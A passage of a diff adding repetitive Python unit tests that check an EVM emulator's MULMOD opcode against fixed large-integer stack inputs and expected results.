+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_MULMOD_328(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [123136L])
+
+    def test_MULMOD_329(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_330(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285293567L])
+
+    def test_MULMOD_331(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285285871L])
+
+    def test_MULMOD_332(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285278175L])
+
+    def test_MULMOD_333(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593278592404255597335755568049273997498948353520504591L])
+
+    def test_MULMOD_334(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_335(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_336(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_337(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_338(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_339(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_340(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_341(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_342(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_343(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285300782L])
+
+    def test_MULMOD_344(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_345(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_346(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_MULMOD_347(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_348(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_349(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_350(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_351(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MULMOD_352(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [123136L])
+
+    def test_MULMOD_353(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_354(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301007L])
+
+    def test_MULMOD_355(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [65536L])
+
+    def test_MULMOD_356(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_357(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
